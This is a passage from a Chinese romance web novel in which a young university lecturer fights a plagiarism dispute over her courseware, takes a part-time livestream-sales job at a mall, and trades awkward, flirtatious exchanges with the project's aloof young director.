曾听澜烦恼道:“她的作品和他们教研室另一个老师的几乎一样,只是每个设计部分换了个名称而已。”
“抄袭?”曾行倏地抬眼。
“是啊,也不知是谁抄了谁的,所以我才头疼。”
“可以给我看看。”
曾听澜一喜:“你要是愿意帮忙,可帮我省去个大麻烦。不然我还得费劲找专业的技术人员。”
“嗯,交给我。”
“这位老师很优秀,专业能力强,工作认真负责,也肯吃苦。年纪轻轻的已经积累了很多材料,顺利的话,可能再过个一两年就可以升副高了。所以,我对这件事很慎重,不想错冤了好人,让一位好教师寒了心。”
“我明白的。”
回家后,曾行从邮箱里找到了姑姑发来的两份课件。其中一份的报名表里写着:
姓名:文令仪;就职学校:海城大学;职位:教师。
他的目光定在了“教师”二字上。
还真被袁朗那小子猜中了,她真的是老师。竟然还和他的姑姑在一个学校。
打开课件,整洁大方的PPT设计映入眼帘。主题是“松弛感购物商场营销模式”。
商场从导视系统、美陈布置、背景音乐到员工制服,都围绕“松弛感”这一核心主题设计,贴合当下年轻人渴望卸下重担、关注内心、追求自由的生活方式。
他来了兴趣,一手支着下巴,慢慢往后翻阅。
看完后,他又点开另一份署名“沈缪”的课件。没翻几页,他直接关掉界面,拨通了电话。
“帮我查两份文件的原始制作时间,尽快。”
13. 装什么高岭花?
和曾听澜通过电话后,文令仪惴惴不安了两日。
她只凭别人的一句话就怀疑同事抄袭自己的作品,是不是太过武断?若查出来没有问题,领导会不会觉得她这人小心眼,喜欢疑神疑鬼的。
但是赵老师说得煞有介事,不怕一万只怕万一,她想稳妥点也不是坏事。
每到闲下来时,这件事就钻入她的脑中反复打架,不知不觉到了中午。
放学后,她正要去吃饭,忽然看到手机进来了一条信息,是曾听澜发来的。
心头一跳,点开看到,曾院说邀请她一起吃午饭。
曾听澜学术成就高,她的名字就算在整个经济界也是响当当的。但她为人很低调,鲜少参加社交活动,一心只扑在学术上。看到她邀请自己吃饭,文令仪喜出望外。
这是不是也意味着,她已经调查出结果了?
文令仪的心又悬起来,开车去吃饭的路上,心情既激动又忐忑,和坐过山车一样。
午饭定在离学校不远的一家西餐厅,她是第一次来。进门后发现这家店是按照欧式宫廷风格装潢的,环境优雅,店内也很安静。服务员领她走入一个包间,进门就看到曾听澜微笑着站起来迎接她。
文令仪有些受宠如惊,赶忙躬身和她握手:“曾院好,您太客气了。”
“是你和我客气了,大家都是同事,在一个院里工作,你就别和我见外了。”
不好意思笑了笑,文令仪提壶给她倒茶:“久仰曾院的高名,说真的,能同您一起吃饭,我很开心。”
文令仪进校不久,曾听澜就留意到了这个女孩。她工作勤恳踏实,为人正直善良,正是她欣赏的那一类人。
“那我也说真的,我早盼着这一餐了。”
怔愣稍许,文令仪噗嗤一声笑开了,紧张的情绪一扫而空。没想到曾院平日看起来不苟言笑,私底下是挺随和的人。
两人随意聊了几句后,曾听澜道:“你做的东西我仔细看了,很好。但是要想在省里夺得头魁,还得改些地方。”
“嗯,我也觉得不够完善,不知能否请曾院指点一二呢?”
“你的课程内容很丰富,也很新颖,但这也是你的弊端,东西太多了,整体看下来有些冗杂,到时评委看着会觉得费劲。可以适当删掉些。另外,我建议你到外面找家公司,将ppt的美观设计做调整。漂亮的视觉效果,也是比赛能赢的关键之一。”
文令仪连连点头:“嗯嗯。我对这类公司不熟,曾院有没有推荐的呢?”
“这种公司挺多,我知道的一家叫‘知海领航’的做得不错。之前我做线上课程时就是找的他们。待会我把他们老板的微信推你,就说是我介绍来的,可以给你打折。”
“太感谢曾院了,要是我获了奖,一定要请您吃饭。”
“你看,又开始和我客气了。你要是获了奖,要归功于自己的努力。我不过是搭把手。怎么好意思叫你破费?对了,之前你和我说的事,也在调查中了,你放心,到时一定会有个公平的结果。”
“好。”
吃过饭,两人一起下楼,文令仪发现曾听澜还提了一个保温桶。
她马上想起了自己那个,比这个稍小点。估计是再也拿不回来了。
曾听澜走到前台:“能不能麻烦在你们这寄存?我急着回去,待会会有人来拿。”
服务员马上同意了,帮她收好了保温桶。
出了饭店,两人道别,曾听澜道:“好好做,有什么问题尽管来问我。我等着你的好消息。”
“嗯,我一定会加油。”
曾听澜笑着拍了拍她的肩。两人在停车场分别。文令仪注视了会她的背影才上车,心里像有只小雀在欢腾,止不住地激动。
刚才请她吃饭的是曾听澜欸!在业界一呼百应的人,连省长都会专门拜访她。
她也太幸运了吧!两人还是单独吃饭,她只请了她一个人。
文令仪拿出手机,很想发一条表达喜悦的朋友圈。想了半天还是算了,免得显得她太臭屁!
她将手机放进包里,忽然觉得好像哪里不对劲,好像少了点什么。想了想,她发现是自己的围巾落店里了。
见到崇敬已久的人太高兴,她只顾着说话,走时忘了拿,只好返回餐厅。
服务员已经将她的围巾包好放在了前台。文令仪道了声感谢,提了袋子往外走。
刚推开门,迎面撞见一道高大的身影。
对方也看到了她,两人视线交错,文令仪仿佛被烫了一下,迅速躲开眼神。
怎么这么倒霉?在这遇上了。
她目不斜视,当作没看到他,径直往前走。
对面的男人开口道:“那天的粥味道不错。”
她身形一顿,转过身:“你喝了?”
“嗯。”
一段时日不见,文令仪发现曾行好像瘦了些,脸也变得苍白了,但一点也不影响他俊朗的外貌。甚至多了丝丝破碎感,更加动人心魄。
他怕是一个妖孽,天生就是来勾人的。
“不是说不喝嘛?”她故意拿腔带调,拖长了尾音。
“后来饿了,凑合一下。”
“…”切...装什么高岭之花。说句好喝,他会变丑吗?
“奥,那我的桶呢?”
“发给我地址,我寄过去。”
该说的说完了,两人无话。文令仪觑了觑他透着些许病气的脸,想问问他上次到底怎么了。
可话到嘴边还是咽了回去。
别关心男人,不然到时又是自己吃亏。
“奥,谢谢。那我走了。”
曾行取到桶后,看到姑姑打来了电话。
“拿到了没?”
“刚拿到。”
“这是药膳粥,记得好好养胃。别在外面乱吃了。”
“嗯,谢了。”
挂掉电话,他看到文令仪那台红得亮眼的小菠萝车从面前飞快驶过,消失在视线里。
钱花出去的那一刻,文令仪的心脏像要痉挛了。
按照曾院的建议,她联系了那家口碑不错的专业制作公司。俗话说,一分钱一分货。对方报出的价格,让她对着手机屏幕倒吸一口凉气。
即便打了个折,也花了她小三千块钱,几乎是她半个月的课酬。
她手指在“确认支付”的按钮上空悬了好久,最终闭眼按了下去。转账成功的提示音格外刺耳。
肉疼。是真疼。
她开始算账:之前发的期刊论文,版面费交了六千五;眼下这课件又是三千;而她几乎全部的积蓄,都填进了和前夫一起买的房子。
存款数字早已瘦骨嶙峋,这接连两下,真把她打回了“解放前”。
一个字:穷。
光靠学校这点工资,别说攒钱,应付眼前这些“投资”都捉襟见肘。
她瘫在椅子上,盯着天花板,一个念头越来越清晰:必须得去找份兼职。
说干就干。她抓起手机,点开几个大型招聘APP,开始在五花八门的兼职信息里淘金。这一看,简直打开了新世界的大门,哭笑不得。
“高薪诚聘‘正能量传递员’,主要工作内容:每天对指定对象说一百句赞美的话,线上即可,日结200元。要求:声音甜美,想象力丰富,脸皮厚,心态乐观。”
她挑眉,这活儿…是不是还得先报个夸夸群进修一下?
“诚招‘宠物食品试吃员’,试吃狗粮、猫粮,评估口感和香味。日薪200。要求:有正常的味觉就行。”
她有正常味觉,但吃猫、狗的饭还是…
“招募‘神秘顾客’,假装成普通顾客去餐厅、酒店或者商店消费,然后根据体验填写反馈问卷。”
这份工作倒是不错,能蹭吃蹭喝,时间自由。就是佣金太低。
她一边划拉,一边忍不住笑出声,除了这些她还看到很多奇葩的兼职,比如闻屁师、小鸡性别鉴定师、椰子保安…
这都是些什么…
正当她以为今天只会收获一堆笑料时,一条招聘信息跳入了眼帘:
“宏天集团·海城新锐购物中心‘未来之镜’高薪招募直播推广员”
她仔细浏览,发现这份工作的薪资十分丰厚,时间也很灵活。但是,公司要求应聘人员有直播的经验,她与此不符。
而且…她,文令仪,海城大学的讲师,平时在讲台上挥斥方遒,现在要去对着手机喊“亲亲们”、“家人们”、“宝宝们”?
要是被学生或者同行看到…
她的自尊心冒出来小小地抗议了一下。
但下一秒,银行卡余额的幻象就在眼前冷冷闪过。
她咬了咬下唇,点
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开了“立即申请”。填资料时,在“工作经验”一栏,她略一思索,没有提大学教职,而是把几年前读研时在某品牌做短期市场推销员的经历改了改,写了上去。
离正式面试还有一段时间,她进入了“备战”状态。此前完全没有直播的经验,只能发狠狂补。
她做的第一件事,就是把自己埋进了直播的海洋里。
每天下课回家,处理完必要的工作,剩下的时间全都贡献给了手机和电脑屏幕,仔细研究头部主播如何控场、调动气氛、销售话术、节奏…
她甚至专门建了个文档,分门别类地记录“金句”、“互动技巧”、“避坑指南”和“优秀案例拆解”。
学了段时间后,她觉得应该要试着说一说,所谓理论必须结合实践。
于是,她心一横,用刚发的工资报了一个为期两周的“新媒体主播速成精英班”。
下班后拖着疲惫的身体去上课,对着镜子练习表情管理、语音语调、肢体语言,学习直播设备的基本操作和后台数据分析。那段时间,她疲惫不堪,却无比充实,甚至暂时忘了离婚要处理的那摊子破事。
而宏天集团这边,对这次“未来之镜”体验式导购/直播推广员的招募,重视程度远超寻常。
正如曾行所判断,直播电商如火如荼,早已不仅是销售渠道,更是品牌形象展示、与消费者深度互动、构建私域流量的关键阵地。这次招募,不仅要找到能带货的人,更要找到能传递“未来之镜”独特品牌气质和生活理念的“代言人”。
提前一个月,宏天集团的营销部门就开始在各大社交平台、本地生活类APP上铺开宣传。
“寻找未来生活代言人”、“高薪诚聘,下一个顶流或许是你”、“加入宏天,定义购物新体验”等标语配上精心制作的短视频,吸引了大量关注。热度不断攀升。
报名当天,设在“未来之镜”商场中庭临时搭建的区域,场面火爆得堪比小型选秀。前来应聘的男女络绎不绝,其中不乏在本地小有名气、带着助理和专用化妆箱的网红主播。
长枪短炮的媒体记者也来了好几家,闪光灯此起彼伏,记录着这场热闹的招募盛会。
曾行亲自负责面试环节。因他不喜在媒体面前露面,面试现场屏退了记者。
他一身剪裁合体的深色西装,坐在面试官席位的正中央,神色凝正,自带了一股生人勿近的气场。市场部郭主任陪坐在侧,略微紧张。
面试开始,形形色色的应聘者轮流上场。有人对着镜头经验丰富,侃侃而谈,但言语间矫揉造作,刻意卖弄;也有人业务能力不错,表达流畅,但眼神总是不由自主地往曾行身上飘。
一位打扮艳丽、自称粉丝百万的女网红在自我介绍后,忽然朝着曾行方向甜甜一笑:“这位面试官老师好帅呀,不知道有没有兴趣一起拍个短视频?保证流量爆棚哦~”
旁边负责协调的秘书袁一个没忍住,低头闷笑了一声。
曾行眼皮都没抬,目光落在手中的简历上,语气平淡无波:“袁朗。”
“在,曾总!”袁朗立刻绷紧。
“再有下次,打包东西走人。”
袁朗立刻噤若寒蝉,打了打自己的嘴。
面试间隙,曾行觉得有些气闷,起身离开座位,对郭主任低声交代两句,便走向一侧为工作人员准备的休息室,想抽支烟缓缓。
推开休息室的门,里面没人。他走到窗边,刚点燃烟,目光无意间掠过虚掩的门缝,瞥见外面候场区一个熟悉的侧影。
那人正微微低头看着手中的资料,侧脸线条柔和,脖颈修长,耳垂上一粒小巧的珍珠耳钉在灯光下泛着温润的光泽。
文令仪?
他以为自己看错了,或者只是侧脸相似。再三看了好几眼,确认是她没错。
他慢条斯理地抽完了那支烟,直到烟蒂按灭,他整理了一下西装外套,才推门走了出去。他没有直接回到面试官席位,而是绕了半圈,从另一个方向走近正在进行的面试区域。
恰好,轮到她上场了。
他停下了脚步,站在一处不太起眼、却能清晰看到面试现场的装饰立柱旁。
文令仪此时看起来略微有些紧张,眼睛闪烁,双颊微微泛红。显然并不深谙此道。
她不是海城大学的老师吗?怎么会跑来应聘主播?
14. 我是你的小狗
在台上的文令仪,依然是得体的淡妆,却比平日更添一份精致。
那对珍珠耳环衬得她肤色更白,穿了一件米白色略带设计感的针织衫,搭配浅咖色高腰直筒裤和一双低跟短靴,时尚又不失端庄,在众多或夸张、或网红的装扮中,显得格外清爽顺眼。
她刚开始有些紧张,手指轻轻握了握,但很快,当她开始阐述自己对“未来之镜”商场理念的理解,以及如何通过直播导购去呈现时,那份紧张便被强大的自信所取代。
她的声音清晰悦耳,语速适中,没有浮夸的表演,也没有生硬的推销话术,自然平和,又不乏俏皮互动。台下的评委刚开始并不看好她,但听到后面都不自觉抬头看她,仔细聆听起来。
曾行环抱着手臂,靠在柱子上,静静地看着。
他见过她在烧烤摊旁的鲜活,见过她课件上的才华,却第一次见到她如此商业化的、富有感染力的表达。
挺神奇。他想。
她说的这些东西,听起来还真像那么回事,甚至比前面几个号称经验丰富的主播更切中核心。
而且,平心而论,她的容貌比在场许多精心修饰的网红更显大气漂亮,那种由内而外散发出的书卷气与从容气质,是旁人难以模仿的。
他看着她口若悬河,不知不觉,竟站在那里听了许久,直到她结束陈述,礼貌地向面试官席鞠躬。
曾行这才收回目光,转身走回自己的座位。
郭主任看到他回来,连忙道:“您看到刚才那位应聘者的表现了么?”
“嗯。”曾行拿起桌上的资料,查看文令仪的信息。
“她说得不错,形象气质也好。只是…她好像之前的直播经验有些少了。”
曾行目光落到她填写的工作经验那一栏,轻笑一下:“何止是少了。”
“啊?您的意思是…”
“这人我认识,她压根就没有过直播的经验。”
“…”
面试出来,文令仪的心脏狂跳不止。她双手随意搭在栏杆上,望着楼下络绎不绝的人想转移注意力。过了一会,才终于平复下来。
这次她真豁出去了,就算是当年进学校的面试时也没这么紧张过。
整个过程还算顺利,但她不觉得放心,总担忧那些眼光锐利的评委会不会看出她其实是个新手。
况且,她看到今日来的网红很多,他们经验丰富,还自带流量。比较起来,她的优势好像不明显…
宏天最后只招三个主播…她是不是没戏了?
也不知胡思乱想站了多久,她转过身,忽然发现曾行站在了后面,吓了一跳。
不是,怎么又遇到他了?
他又是那副略不正经的样子,抱臂侧靠墙,笑着看她。
“原来你的工作是主播?”
文令仪怔愣一下,不敢对上他的眼睛。也不知是不是自己心虚,总觉得他此时的眼神锐利无比,好像她现在是没穿衣服站在他面前,什么都给看光了。
她瞬间烧红了脸,说话也吞吞吐吐:“…嗯,是啊。”
“倒像那么回事。”
她不解其意:“什么?”
“好话不说两遍。”
“…”
她疑惑道:“你怎么在这?”
“我嘛?我是这个项目的负责人。”
“你?负责人?”
“是啊,要不要巴结巴结我,说不定就让你过了。”
“…”这人怎么这么没皮没脸的?文令仪忍不住翻了个白眼:“拉倒吧。狗掀门帘子,真是全凭一张嘴。”
“要是真的呢?”
“那我就是狗。”
她不想多说,免得露出破绽,正要走,看到一个身子圆圆,脸也圆圆的中年男人笑眯眯走过来。她认出来,这个人刚刚也坐在了评委席上。
停住脚步,她顿时恭肃起来。
郭主任看到曾行,出口喊道:“曾总…”忽然又想起他明确说过不要在其他员工面前透露自己的身份,话到嘴边改成了:“…主任。您怎么在这?”
曾行差点以为自己的身份要暴露了,淡淡扫他一眼:“聊天。”
郭主任眼尖,早看到他身边还有一位姑娘,而且就是刚才那位表现不俗的女主播。
他马上和文令仪打招呼:“您好,欢迎选择宏天。”
“您好,我很荣幸。”
文令仪脸上堆笑,实际心里不淡定了。他刚刚称呼曾行什么?曾总主任?
“请问…您刚刚称呼他什么?不好意思啊,我没太听清。”
郭主任以为自己刚露了马脚,想要找补,非常肯定道:“奥,我刚叫曾总主任,是我们这个项目的总负责人。我呢,是个副的,给他打打下手。”说完,憨厚可掬的模样看着文令仪,似乎他很可信。
“…”文令仪惊讶得说不出话来,手指着曾行:“他…他真是这个项目的总负责?”
郭主任笑道:“是呀。千真万确。”
“…”文令仪真想找个地洞钻进去。她偷偷瞄了眼曾行的脸,发现他正挑眉看着自己,嘴角勾起,眼里满是促狭。
发现了她好像脸色不对,郭主任问:“您怎么了?脸色看着不太好啊,是不是不舒服?”
文令仪干笑几声:“没,没有。只是觉得我今天的脸色和那盆绿萝很像…”
“绿萝?”郭主任不明白她为何突然提绿萝,又望望曾行,看到这个冷峻的男人少见的笑了,还顽皮地朝他摊摊手。
今天日头打西边出来了不是?
回到车上,文令仪仰面靠在椅背,望着车顶发呆。上天真是和她开了一个巨大的玩笑…
他居然真的是项目负!责!人!
这事怎么就这么不凑巧呢?
她刚还在他面前说什么来着?他要是能帮她进项目,她就是…
狗…
烦恼地抓了抓头发,她深吸了一口气,腮帮鼓得像只河豚,又像气球泄了气般吐出来。
下一秒,她拿起了手机。
面试结束,曾行和一簇工作人员马不停蹄转到会议室开会。
电梯里,他感到手机震动了一下,看到是文令仪发来的信息。
“见一面?”另外还附有一张小狗图片,是一只表情贱兮兮的柴犬。
郭主任见他嘴角上抬,心情不错的样子,纳闷最近总裁是怎么了?有什么喜事么?竟然又笑了。
趁他心情好,他找了
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个话题套近乎:“曾总今日是不是招到了满意的主播?看您心情不错的样子。”
“不,是看到了一只小狗。”
“曾总也喜欢狗?不知这狗长什么样?”
“看着挺贼。”
“长得贼的狗可不讨喜,看起来心眼子多。”
曾行睨他一眼:“是吗?我觉得挺可爱。”
“…”
“贼得可爱。”
“?”
郭主任内心叹气。果然总裁和他们普通人之间是有壁的,连狗也喜欢得不同寻常。人家喜欢可爱的狗,他喜欢贼狗。
这头的文令仪发出信息后,石沉大海,等了半小时也不见他回复。
难道他在忙,没有看到信息?
她的心七上八下,思来想去,这件事还是要当面和他解释比较好。
五点时,宏天的大楼里涌出大批下班的员工。她站在电梯口的不远处,紧紧盯着出来的人,生怕错过了曾行。
但一直到六点,也不见他出来。
大概近七点时,电梯门开了,她终于看到他下班,但是他的身边还跟了好几个人,她怕影响到他,迟迟没有上前。
立在不远处,文令仪看着他们走来。忽然,曾行朝她这边看过来。她心里一喜,他总算眼没瞎,看到她了。她高兴地招手,希望他过来这边。
但曾行只是轻轻瞟了眼,然后装作没看到,继续朝前走了。
文令仪:“…”
好,行!你清高,你傲骄。
偏不信了。
忙碌了整天,回家后曾行先进了浴室冲澡。他将龙头打开,很快,浴室里水汽氤氲,热水淋在身上消散了疲惫。
洗完后,他从浴室出来,下身随意裹了条浴巾,拿起手机看到文令仪发来了信息。
信息的内容很长,大致解释了她为什么对他那样说,还表示了歉意。
曾行不由笑了下,回过去道:“某人说她是狗,还算话吗?”
等了一会,对面没回复了。
看来是不想承认了。他一哂,正要放下手机,却见文令仪回复了一大段的语音。
点开听到是一首歌,声音软软柔柔的:
“在我小的时候
我就是你的小狗
我喜欢你的脸颊贴着我的鼻头
你喜欢把鼻子埋在我的胸口
你说我有一点臭”
“…我是你的快乐小狗
吃吃睡睡没忧愁
你要早点回家
我们出去走走
我学会坐下和握手
你轻轻地摸摸我的头
孤单小狗除了你什么都没有”
“你唱的?”
“嗯。虽然没你唱得好,但满满都是诚意奥~”
“这首歌叫什么?”
“《我是你的小狗》。”接着是一个小黄脸emoji,睁着一双水汪汪快要盈泪的眼睛:“大佬,求原谅。”
“唱得不错。”
“然后呢?”
“什么然后?”
“…”
文令仪要抓狂了。歉也道了,歌也唱了,他避而不谈是几个意思?总不能还介意今天的事吧…
15. 小米配窝头
这男人真太难搞了,傲骄、喜欢摆谱,说话也没个正经,完全猜不透他是怎么想的!
不会因为得罪他了,这件事没戏了吧?
按他那种睚眦必报的性格,非常有可能!
文令仪头在桌面磕了两下,默默祈祷:千万别啊,她现在非常需要钱。
兼职的事一直在她心上悬着,好像在等彩票开奖,她下了注,满怀期望,偏偏不知自己能不能中。焦急又紧张,滋味不好受。
除了上班的时间,她都在等消息,有时一天要点进宏天的网页看很多遍,整个人魔怔了似的。
吴秋眠早发现她好像心神不宁:“怎么了?等你老公的消息?”
她和贺天翔在闹离婚的事不好听,不想在同事间传播,因此大家都不知道这件事。但她也不避讳别人看出他们关系不好了。
不屑地嗤了声,她道:“等他诈尸?”
其实吴秋眠也察觉了文令仪和老公的关系有变化了,但她不想说出来,她自然也不多深究。同事之间的关系大都这样,平常以礼相待,和和气气,但对于私生活总保持适当的距离。这是成年人间成熟的相处方式。
正看着手机,突然跳进来一条信息,文令仪慌忙点开,看到是曾听澜在大群里发了祝贺,恭喜她最终突围校赛晋级省赛。
懵怔之后是一股暖流汇入心间。看来曾听澜已经查清楚了,是沈缪抄袭了她的设计。但是她最近并没有听说上级对沈缪采取了什么惩罚措施,估计是想息事宁人,再观察观察。
文令仪有些失望,但这件事如果闹大,也不是曾听澜一个人可以做主。况且体制内一贯的行事作风就是这样,不喜欢撕破脸,总是大事化小,小事化了。
不管怎么说,院里给了她公平的结果,这是让她开心的。
吴秋眠也很替她高兴:“恭喜!功夫不负有心人。”
办公室这会也有很多其他老师在,都在恭喜她,唯独沈缪低头坐着,默不作声。
文令仪笑道:“谢谢,感谢大家支持原创。”
说完这句后,她看到沈缪腾地站起,身下的椅子在地上划出一道尖锐的响声,接着提起包一言不发快步出了办公室。
“啧,瞧她这小心眼儿。做这样给谁添堵呢!”吴秋眠嫌恶地说。
文令仪耸耸肩,表示不care这件事。
今天是个好日子,连日来因为离婚带来的阴霾终于露出晴光,甚至宏天的事也没那么让她心烦了。
下班后,文令仪毫不犹豫点了家平日舍不得吃的饭店,好好犒劳自己。
饭饱后血糖升高,她产生了一种舒懒感,很放松,连带着想起曾行那张臭屁的脸也没那么退避三舍了。
要不要再给他发次信息,显示显示自己非常想要这份工作的积极和决心?
她把玩着手机链子,想起那日在宏天的大厅,他明明看到她了,可不愿理,说明他应该不是喜欢套近乎的人。弄不好故意去亲近还会适得其反。
这样看来,他还是个对工作挺负责的富二代呢,和她最初的印象有点不一样。
文令仪理清了思路后没有再找过曾行。
一周后,破天荒的,宏天发来了消息,通知她面试过了,尽快去办理入职手续。
看到消息时,她正忙着做课件,喜得差点没叫出来。
宏天安排的签合同的时间恰好和她的课程不冲突,她比规定的时间早半小时就来了公司。站在玻璃门外,她看到里面已经坐了一个女人,曾行不在,女人正在和郭副主任交谈。
她生得很漂亮,是那种很受欢迎的网红脸,五官立体,透着妩媚。身材也很顶,穿了一条露肩包身的针织裙,勾勒出没有一丝赘肉的身材。
这是另一位主播?
不知他们还要聊多久,她靠在墙壁,盘算等会进去会问些什么问题。
过了不久,里面的女生出来了。文令仪友好地朝她笑笑,可对方只看了她眼就转过头走了。
啧,高冷美女啊。
她热脸贴了冷屁股,吐吐舌头,只当作这件事没发生,进了办公室。
郭主任笑眯眯道:“你来了,坐,坐。”顺手从右边桌上拿了一份合同给她。
“你看看,还有疑问没?我们接受兼职,但是要保证不耽误直播的时间和效果,试用期是三个月。”
翻开合同,上面一条一条列了详细的条约。文令仪学过经济法,对合同一般会设计的坑很熟悉。她仔细地阅览,发现合同写得很规范,也并没有暗坑。
关键是她看到劳务抽成那里,她能得50%的分成,如果直播效果好,还能得更多。她之前了解过其它公司给的抽成,只有已经打出名气的主播才能获得这个待遇。
“我的佣金这么高?”
“当然。我们不会亏待任何一位为公司付出辛劳的人。这只是初步的价格,若往后做得好,我保证你的酬劳还会涨。”
文令仪拿出笔,在合同上签了名字:“我一定不会让公司失望。”
“我们总主任眼光挑剔,选的人一定是优秀的。好好干,相信你会做得不错。”
“总主任?”文令仪疑惑道:“曾行?是他定的人?”
“你知道他的名字?”
“嗯啊。碰巧知道了。”她赶忙补了句,怕郭主任以为自己是走了什么后门才进来了。
“奥奥。”郭主任笑笑,心里嘀咕,原来是赶巧。曾总向来很注意保护自己的隐私,不轻易透露自己的名字和身份。他还以为眼前的女人和曾总有私情呢。
看她的反应,应该是不知道他的真实身份。不然那日她听到曾行是这个项目的总负责,不会那么惊讶。
就算是这样,碰巧能知道他的名字也很厉害了。郭主任不禁对眼前的女人高看了一眼。
他客气地笑笑:“第一次培训定在下周二,记得来奥。”
“一定。”
出来后不久,文令仪就看到郭主任把她拉到了一个群里,群名称为“天空之境杀疯了”。还挺时尚,完全和他圆胖的形象搭不到一块。
他在群里发了一个培训安排表,她赶忙打开查看时间。这个学期学校给她排的课很零散,如果和培训时间撞了,怎么调档是件费神的事。
学校的课安排在了周一、二和四,培训的时间在周三和周五。她舒口气,刚好和学校上课的时间岔开了。
太好了,这样她就不用在协调时间上费神了。她为这点小幸运感到雀跃。
看到群里的人在回“收到”,她也赶紧回了个。一时间,群里被“收到”刷了屏。她突然好奇哪个是曾行的头像?但是等了半天,他没有在群里说话。
他平常在工作中也是这样高冷吗?无所畏惧,爱搭不理。他的背景到底有多大啊,能做到项目主管,还随心所欲的。
她找到曾行的头像,放大看是一张蓝色的大海图,海滩上有一块大礁石。满眼的深蓝色,倒是符合他沉静的性子。
要不要看他的朋友圈?犹疑一息,她还是点了进去,意外看到朋友圈背景是一张乐队图。好几个人在一起玩音乐,中间唱歌的人是他,穿着闪亮的皮衣,染了白发,右耳戴了个克罗心的吊坠耳环,和他平日的样子比,很是放浪不羁。
朋友圈是对外关闭的,一条突兀的横线,张扬地表明你和对方不熟。
想了想,她没有去加他的微信。
他们本来是在约炮网上认识的,充其量就是认识的网友,还是打算用来解决生理需要、填补空虚的网友。不算熟。
何况这个网友,好像还…对她有误解…
培训的时间定在上午9点。文令仪依然提前了半小时到公司,惊讶地发现曾行已经坐在了会议室里。他穿了一件深色西装,呢子大衣搭在椅背上,正低头看一沓资料。
“早啊。”没料到他也这么早来,文令仪笑着打招呼,脑海里不知怎么又浮现出他朋友圈背景的那张照片,自由又恣意,和现在面前持重的样子大相径庭。
曾行见她来了,平静无波的眸子倏然闪过一丝很浅的亮光:“早。怎么这么早来?”
文令仪指了指手里的iPad:“和你一样,早点来办公。”
“嗯,勤奋点好,可以补短。”
“?”文令仪一愣,这话是什么意思?她暴露了短处?疑惑地看着他,想等他继续往下说,但没有后文了。
她恨不得扑过去撬开他的嘴多吐几个字,嘴巴是蚌壳吗,舍不得张开。好不容易说几句话还总是云遮雾罩的,明明年纪轻轻,听着像个故弄玄虚的白胡子老道。
“抱歉,曾总主任,是我哪里做得不好吗?可不可以请教一二呢?若我有做得不好的地方一定会改。”
“待会你就知道了。”曾行说完垂眸继续看资料了,没什么表情,也看不出他到底是对自己哪里不满意了。
文令仪郁闷了,本想早点来熟悉直播的话术,现在心情全无。
既然觉得她不够好,为什么还招她进来?难道除了她之外没有其他合适的主播了?
还是说,他发现了自己没有直播的经验,开始对她不满了?
无论是哪种原因对她来说都是致命打击。她忐忑不安坐着,连连瞥了他好几眼,但是曾行没有再看她。
临近9点,参与培训的人陆续到了,先是郭主任,然后上次在门口碰见的那位女主播也来了。
她长发披肩,呢子大衣里穿了条短裙,配了一双高筒靴子,温婉又时髦。
进门看到曾行,她甜甜一笑和他打招呼:“主任好。”
“你好。”曾行点了下头,嘴角上扬,拉扯起一个很有风度的笑容。
女主播似乎害羞了,低下头脸上微微泛红,抿唇笑着坐到了位置上。
文令仪看着他们两人无语了。大庭广众下眉来眼去,当他们都是空气呢…
而且这个曾行果然很会,刚才那个笑容又痞又苏,她承认,很少有女人能抵抗。
他这是几个意思?对着别人放电,对她就冷淡严肃,一副公事公办的态度,她不是女人吗?
奥,应该是。只是是一个喝醉了酒会突然吐到他身上的怪女人…
培训开始后,经郭主任介绍,文令仪才知道原来另一名主播叫喻妍。她站起来做自我介绍,语言标准,声音好听,末了朝众人wink了一下,逗得好几名男同事眼都要看直。
文令仪朝曾行看去,见他也看着喻妍,面带微笑。她心里嘟囔,网上都传言很多富二代喜欢找网红,看来传言不虚。
喻妍说完后,她也介绍了自己,只不过关于直播经历的那块讲得很简单,几乎是两句话就略过去了。坐下后还觉得心里忐忑发虚,担忧别人会看出来在直播这块,她肚里其实没几两货。
培训直播的是一名女讲师,戴副眼镜,气质端雅,谈吐娓娓。
“你们是有经验的主播了,直播技巧和话术已经运用得很娴熟。”
“下面我主要来介绍一下宏天的女式服装部,也就是你们日后主推的商品。我们商场共有80家女装品牌,类别包含高奢品牌、轻奢品、快时尚、大众休闲、小众设计师品牌等一共十余种类型。宏天汇集了全国最齐全的奢侈品牌,商场的目标客户定位主要是高端人群。”
“但近年来集团高层做了战略性调整,在主馆的基础上扩建了南馆,
吸引更多年轻和潮流的客户群,补充了主馆的品牌类型…”
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讲解完商场的布局和策略后,讲师道:“在正式直播前,我们每周会进行两次模拟,帮助大家快速熟悉宏天的主推服装品牌特性,找到适合自己的营销路径。”
“接下来我会提供一批服装,请两位主播模拟直播现场。”
文令仪走过去拿起衣服观看,果如讲师说的,衣服类型偏年轻化,有潮流的、淑女的、职业的,款式精美,材质上乘。
“你先还是我先?”
喻妍冷不丁问这么一句,文令仪愣了愣道:“都行。”
“那我先上。”
喻妍果然是经验老道的主播,一点也不怯场。她摆出标准的甜美笑容说了一句勾人的开场白:“哈喽姐妹们,我是你们的主播妍妍,专注女士服装选品5年的买手!只选精品!”
“看到这件羊绒大衣了么?100%纯羊绒。大衣里的软黄金,亲亲们都懂的,平常在商场卖多少呢?贵的上万,少点的也得五千是不?但在我们的直播间,价格直接打下。你们猜妍妍给的是多少?姐妹们把价格打在公屏,猜中的姐妹,我直接送!…”
“十年修得同船渡,大家一起点关注;百年修得共枕眠,点赞分享赚大钱。求请各位姐妹帮妍妍点点关注奥~这样,如果今天到了十万赞,妍妍把价格再减两百!…”
面试宏天之前,文令仪观察过许多当红主播,发现他们有个共同的特质,就是说的话、表情和肢体动作刚好能戳中观众的点。其实很难说清楚这个点到底是什么样的,或许是主播的各方面能力达到了一个极佳的平衡,观众能和他们直接建立起一种亲近的关系。从而信任他们,被他们吸引。
而喻妍就刚好是这种主播。介绍自己、讲透卖点、戳中痛点、逼单下单,各个环节都不错。
她讲完后,会议室里适时鼓起了掌声,文令仪看到连一向冷脸挑剔的曾行都露出了赞许的笑容。
轮到文令仪上场时,说真的,她没有底气。倒不是因为她不熟悉整套的直播流程,而是她不习惯喻妍表现出的网感。
她在讲台上规规矩矩讲惯了严肃的东西,突然要她变成一个推销人员,实在不习惯。之前面试时,宏天并没有规定要讲什么,于是她选了自己熟悉的物品:书。
但这次是衣服,她只有在培训机构积累的一点儿经验。
怀着忐忑的心情,她硬着头皮上了场。
望着会议室里满屋子的人,她轻咬了下下唇。
算了,豁出去了!
